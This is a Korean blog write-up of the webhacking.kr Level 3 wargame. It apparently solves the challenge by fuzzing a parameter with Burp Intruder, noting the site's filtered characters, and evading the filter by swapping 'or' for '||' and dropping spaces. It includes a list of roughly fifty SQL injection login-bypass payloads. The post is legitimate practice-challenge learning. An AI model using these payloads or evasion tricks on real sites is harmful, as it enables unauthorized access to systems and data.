2016. 8. 5. 16:53 :: 문제풀이/WebHacking,kr

안녕하세요. Message입니다.

Webhacking.kr Lv3 문제풀이 달립니다!

중간 과정과 삽질을 생략하지 않아 다소 길 수 있습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

문제에 접속하면 퍼즐이 나옵니다.

뭔가 있을줄 알았으나...그냥 풀어주고 넘어가면 됩니다.

 

 

다음 화면으로 넘어가면 아래와 같은 페이지가 나옵니다.

왠지 SQL Injection를 하라고 대놓고 만든 페이지처럼 느껴집니다...

해야될것만 같습니다. 느낌이 그렇습니다 그냥...

 

프록시 툴로 어떤 인자 값이 전달되는지 확인합니다.

answer와 id값이 동시에 전달됨을 확인합니다.

 

유저가 입력한 answer값과 name 값이 서버에 저장되는것 같습니다.

이런 부분을 체크하고 문제풀이에 돌입합니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 문제풀이

------------------------------------------------------------------------------------------------------------------------------------------

 

다른 분들의 풀이를 보면, 특수문자 샥샥 해서 한페이지 만에 답을 도출하시던데...

저는 그게 안되는데 어떻게 되는거죠? 오늘도 삽질을 시작합니다.

그래도 삽질을 하면 배우는게 있어요...

 

남들이 하는것처럼 일단 특수문자를 넣어보기로 했습니다.

예전에 손가락으로 일일이 넣다가 포기했던 아름다운 추억이 있으므로

Burp의 Intruder 기능을 이용하기로 했습니다. 공격할 포지션으로 answer를 지정합니다.

 

1) 특수문자

PayloadSimple List로 지정해줍니다.

일단 산뜻하게 특수문자로 시작합니다. (복사 + Paste버튼) 

 

공격 결과는 아래와 같습니다.

첫 패킷은 페이로드가 포함되지 않아서 그냥 엔터를 친 결과와 같습니다.

우리가 주목해야 할 부분은 돌아온 Response 값의 Length입니다.

 

Length 값이 458인 경우는 no hack 이라는 말과 함께 차단되는 것으로 보입니다.

여기서 제가 주목하지 않아 삽질을 하게 만든 특수문자는 % 입니다.

특수문자 테스트에서 % 문자가 차단되는 부분을 고려하여 Injection 코드를 구성했어야 했는데

스페이스가 URL 인코딩이 되면서 %20 으로 치환되는 부분을 간과해버려서

스페이스가 들어간 모든 Injection 공격문이 차단되었기 때문입니다.

차단되는 특수문자 : ! # % * ' /

 

Length 값이 458인 경우는, query error! 라는 말로 보아 차단되는 특수문자는 아닌것으로 판단됩니다.

여기서도 제가 신경 쓰지 못한 특수문자가 있는데, 바로 || 입니다.

평소 MySQL Injection에 익숙해져 있는데다가, 대부분 or 를 쓰다보니 관심이 없었더랬죠..

 

Length 값이 451인 경우는 아무런 값이 리턴되지 않아 알수가 없습니다. ex) @

 

2) 1차시도

기존에 SQL Injection의 존재 여부를 간단히 체크할 수 있는 리스트를 검색해서

복붙 해놓은게 생각나서 버프슈트의 payload에 입력해 보았습니다.

결과 : 실패

 or 1
 or 1=1
 or 1=1--
 or 1=1#
 or 1=1/*
 admin' --
 admin' #
 admin or 1
 admin or 1=1
 admin or 1=1--
 admin or 1=1#
 admin or 1=1/*
 admin" or "1"="1"--
 admin" or "1"="1"#
 admin" or "1"="1"/*
 admin" or 1=1 or ""="
 admin" or 1=1
 admin' /*
 admin' or '1'='1
 admin' or '1'='1'--
 admin' or '1'='1'#
 admin' or '1'='1'/*
 admin' or 1=1 or ''='
 admin' or 1=1
 admin' or 1=1#
 admin') or ('1'='1
 admin') or ('1'='1'--
 admin') or ('1'='1'#
 admin') or ('1'='1'/*
 admin') or '1'='1
 admin') or '1'='1'--
 admin') or '1'='1'#
 admin') or '1'='1'/*
 admin" --
 admin" #
 admin" /*
 admin" or 1=1--
 admin" or 1=1#
 admin" or 1=1/*
 admin") or ("1"="1
 admin") or ("1"="1"--
 admin") or ("1"="1"#
 admin") or ("1"="1"/*
 admin") or "1"="1
 admin") or "1"="1"--
 admin") or "1"="1"#
 admin") or "1"="1"/*

 

3) 2차시도 : 공백제거

특수문자 %가 막혀있는 부분을 생각하여, 공백(space)를 제거하여 시도합니다.

결과 : 실패

 

4) 3차시도 : 문자열 "or" → "||" 교체

검색을 하여 or 문자를 특수문자 || 로 교체하여야 된다는 사실을 알게되었습니다.

하지만 Length를 보아도 별다른 소득이 없습니다.

결과 : 실패

 

5) 4차시도 : 공백 다시 제거

스페이스가 포함되어 있는걸 까먹었습니다. 머리가 안돌아가면 몸이 고생...

다시 공백을 제거하여 시도합니다.

결과 : 8번째 라인에서 성공

 

 

성공한 8번째 라인의 리턴된 값을 보면 아래와 같습니다.

이거 하나 보기가 까다롭네요.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 마무리

------------------------------------------------------------------------------------------------------------------------------------------

 

답을 모른다고 생각하고, 풀이를 진행해 보았습니다.

시간은 오래걸렸지만, 삽질을 하면서 얻은 교훈이 있네요 ㅎㅎ

1. 인젝션을 수행할 때 "or" 만이 능사는 아니다.

2. 프록시 툴로 파악한 파라미터에 인젝션을 시도할 경우, 기존의 데이터를 유지하고 뒤에 추가하는 부분도 고려해야 한다.

 

posted by Red_Message